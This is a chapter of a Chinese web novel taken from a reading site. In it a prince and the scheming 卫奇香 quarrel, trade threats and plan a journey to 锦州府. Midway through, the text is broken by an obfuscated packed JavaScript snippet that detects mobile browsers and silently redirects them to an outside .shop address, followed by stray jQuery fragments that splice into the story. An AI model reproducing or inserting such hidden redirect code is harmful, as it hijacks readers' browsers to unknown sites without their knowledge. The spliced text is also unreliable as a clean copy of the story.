文趣网 > 其他小说 > 在限制文里当坏种 > 27. 美人一怒绝代风华
    晏棠珩伸手要解开身上衣裳的系带,他被气得太狠,手滑了好几次。

    心口间翻涌着戾气,一想起张清,他喉间便堵着一股灼烧般的怒意。

    张清之行径,杀之也不为过。

    方才郎中不过伸手想掀开卫奇香的衣裳看看是否有伤情,张清却发疯了般扑上来咬在郎中小臂,扯都扯不开,如同一条不知所谓的疯狗。

    咬完后竟然还不肯罢休,朝着他冲来,扯住他的腰带,将他身上的衣服抓得乱七八糟。

    他将人掀开在地,张清居然手脚并用爬了过来,动作癫狂地扯住他的裤腿往下乱捞。他一个没防住,内里衬裤竟然叫张清扯裂了。

    这都怪卫奇香,平日贪便宜,给他的衣裤都是些劣等货,禁不住抓扯。

    当初这套衣裳,绣娘本要十文工钱,卫奇香抠抠搜搜只肯给三文,到头来就买到这种一碰就破的次品。

    好好好,这二人果然是天造地设的一对,一个疯癫无状、演技拙劣、爱咬人,另一个抠得要死、说演就演、喜骂人,他们合该是上辈子修来的缘分,只可惜两个都是男人,若为一男一女,倒不如就地结为夫妻,否则倒辜负了这段子孽缘。

    想到这儿,晏棠珩胸腔里的火气更大了。

    他垂着眼看着身上被张清触碰过的衣料,眼底嫌恶几乎要溢出来。

    不知死活的东西!

    不知道是不是卫奇香偷偷私底下教过他,叫他也变得如此气人。

    这两个不知道是个什么货色,都这么气人。

    系带仍解不开,晏棠珩干脆抬手三两下将身上外衫、里衬尽数扯烂,随即一把抓过,狠狠砸在墙角木榻,像是扔什么污秽不堪的脏东西。

    力道之大,衣料滚落一地。

    待晏棠珩重新换上新的衣裤,窗外一只雪白色信鸽扑棱着翅膀落在窗沿,腿上牢牢绑着一卷纸。

    他抬手解下,摊开,墨色字迹工整沉稳,是郑贞送来的信:烈已于锦州府安顿妥当,诸事皆安排完备,只待您动身前来。抵达后可化名棠府主人,一应身份、宅院、仆从皆已备好。

    晏棠珩将信烧掉,看着跳动的火焰,心绪稍定。

    其实,他并不是完全放纵康州闻氏,而是一直暗中派人盯着。这些年闻氏安守本分,未曾有过任何异动。

    可这回闻沉舟突发重病,滞留锦州府,闻氏家主又暴毙,闻氏一族表面看起来是惨上加惨,可他心中隐隐觉得不对,太惨,太巧合,都不对。

    究竟是哪里不对呢?又说不上来。倒不如亲自走一趟的好。

    郑贞守在京城,胡烈到锦州府助他,如此,甚好。

    门外便响起咚咚咚大力敲门板的声响,随即是张清的声音,他语调裹着浓重的不情愿,听着就满心不耐:“香郎要见你。”

    晏棠珩眉峰蹙起,简单拢好新换的衣衫,推开门。

    张清却把脚一跺,瞪了他一眼,便跑了。

    晏棠珩:……

    .

    屋内熏着淡淡的香,窗棂半掩,四下静得可怕,唯有窗外隐约掠过几声车马行人的细碎声响,落针可闻。

    晏棠珩和卫奇香各怀心事,谁都不肯先开口。

    晏棠珩自然是不会先开口的,他倒是要看看卫奇香这个死犟的什么时候才开口。

    卫奇香微微垂着眸,长睫覆下一片浅淡阴影,苍白的唇紧紧抿着。

    两人僵坐许久,诡异的沉默层层叠叠压在屋内,没有一句交谈,气氛凝滞得让人喘不过气。

    良久,卫奇香率先打破死寂,声音虚弱干涩:“我想喝水。”

    晏棠珩心头尚存方才被搅出的怒火,冷着脸置之不理。

    只听卫奇香又低低补了一句:“我实在渴得厉害,若再无水润喉,恐怕又要呕出一口血来。”

    这话听着,倒比他往日句句噎人的尖酸言语顺耳不少。

    晏棠珩脑中晃过在内室那一幕。

    卫奇香吐出那样大一口血后晕死过去,他伸手将人抱起来时,鼻尖清晰萦绕着浓重的腥气。

    往日的卫奇香向来精力旺盛,满肚子狡黠算计,浑身都是油滑骗子的劲儿,从未有过这般如同濒死之人般死气沉沉的模样。

    他当时说他阴毒,那话说得难道过重?可卫奇香分明料到他会相救,以此用计诱杀他,难道不阴毒吗?

    念头刚冒出来,晏棠珩立刻压了下去,心底火气更加往上窜。

    这人从前数次杀他,次次落空都不见半点挫败,如今不过装出一副虚弱垂败、好似活不下去的模样博同情。他那般歹毒害自己,自己居然还会心软去纠结一句说辞轻重?

    晏棠珩重重喘了口气,今日本就一肚子火气,一想到自己方才竟还替卫奇香考量,心里更添几分烦躁,其实他压根就无需琢磨是不是什么话说重了。

    卫奇香忽然压着嗓子咳了几声。

    晏棠珩抬眼扫了眼对面的人,如今这人面色依旧泛着病态的灰白。

    他眉头拧成一道冷硬的褶子,脸上没半分温和,他沉默起身,走到桌边茶炉旁,提起温热的茶壶,斟了一杯温水,将水杯给了卫奇香,又一言不发地坐回原处。

    卫奇香慢吞吞地将一杯水饮尽,又道:“还要喝。”

    “自己去倒,我不是你的仆从。”

    “你去。”

    “我不去。”

    “去不去?”

    “不、去。”

    话音未落,卫奇香直接抬手将空水杯子朝着晏棠珩狠狠砸过去。

    晏棠珩身子一侧便堪堪躲开,瓷杯重重砸在他身后地板上,哐当一声碎成几片。

    这下晏棠珩积压的怒火彻底炸开,他恶声道:“卫奇香,你找死!”

    卫奇香反倒忽然仰头放声大笑:“你生气的模样,可比整日端着顺眼多了。”

    那口血倒叫她将心中的郁结全吐了出来。找错了人又如何,继续找便是了。其实棠雁是太子更好,有钱有权,若是能诓着他为助力,岂不事半功倍。

    她阴阳怪气地补了句:“太~子~殿~下~你生气的样子真是太好看了,美人一怒,绝代风华。”

    晏棠珩盯视着她,眼神似要吃人:

    “我一定会杀了你。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738823|206976||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    卫奇香却好似没有听见,只顾说自己的:“你说要带我去锦州府,那里有好吃好喝好玩的吗?”

    晏棠珩道:“你当我会将你奉为座上宾吗,还是你以为是去出游玩乐的?我带你去,是让你给我做仆从,最下等的仆从,做最苦最累最脏的活儿。总之,你一日不说出你身上的秘密,便要多一日受折磨。”

    卫奇香是他的梦中人,为何频频出现在他的梦里?为什么出现的不是其他人?为什么这个梦中人非要杀他?为什么卫奇香的行为举止总让他无法理解?如此多解释不通之处,必定有秘密。

    卫奇香挑眉:“仆从?”

    “对。”

    她问:“那我要替你倒夜壶吗?”

    晏棠珩斥道:“你再敢胡言乱语一句试试。”

    卫奇香又问:“哦,那我能逃吗?”

    晏棠珩冷冷道:“那便打断你的腿。”

    卫奇香无所谓地笑了笑:“太子殿下,其实我的身上并没有什么秘密,而且我是一个好人。”

    晏棠珩怒斥:“你把我当傻子糊弄?你也算得上好人?在内室时你对我说,为什么次次都杀不死我,你还说就是要杀我。从前我不与你计较,可这一回你用了如此阴毒之计,我绝不会忘。”

    “啊真的吗,我说过这样的话吗?我怎么不记得了,我明明是一个连鸡都不敢杀的好人,那一定不是我说的。”

    “狡辩!我亲耳听见。”

    “你一定是听错了,或者我是鬼上身了,总之那些话一定不是我说的。”

    晏棠珩从未见过如此厚颜无耻之人。

    他气笑了:“今日才发现,你的脸皮怕是比城墙都要厚。”

    卫奇香轻飘飘地道:“哦,你要这么想,我也没办法。”

    晏棠珩只觉这句“你要这么想,我也没办法”像是白米粒里出现的苍蝇,叫人咽又咽不下去,吐又吐不干净。明明听着叫人生气,又不知道应该往哪里生气,只知道膈应得五脏六腑都不舒坦。

    卫奇香笑咪咪地把脸递过去:“是不是很生气?”

    她发出了邀请:“来,打死我。”

    晏棠珩闭眼深吸一口气,又睁开:

    “卫奇香,你记好了,往后,你每惹我生气一次,我就给张清记十个板子,等记到一百个,我便叫人直接将他打死。”

    卫奇香:……

    她并不知道这是怎么了,若真这样,张清可能活不过今晚,便要被打死了。

    她不说话了。

    晏棠珩冷笑:“你不是很会说吗?继续说啊。”

    “我……”卫奇香刚说了一个字,就被打断。

    “张清,记十个板子。”晏棠珩道。

    卫奇香:……

    “其实……”这回她只说了两个字,又被打断。

    “张清,再记十个板子。”

    卫奇香干脆彻底闭了嘴。

    她倒不担心张清被打死,她觉得太子真是个s,b,不愿意再同他说话了。

    晏棠珩站起身来,冷冷地丢下一句:“明日一早就走。”

    随即拂袖而去。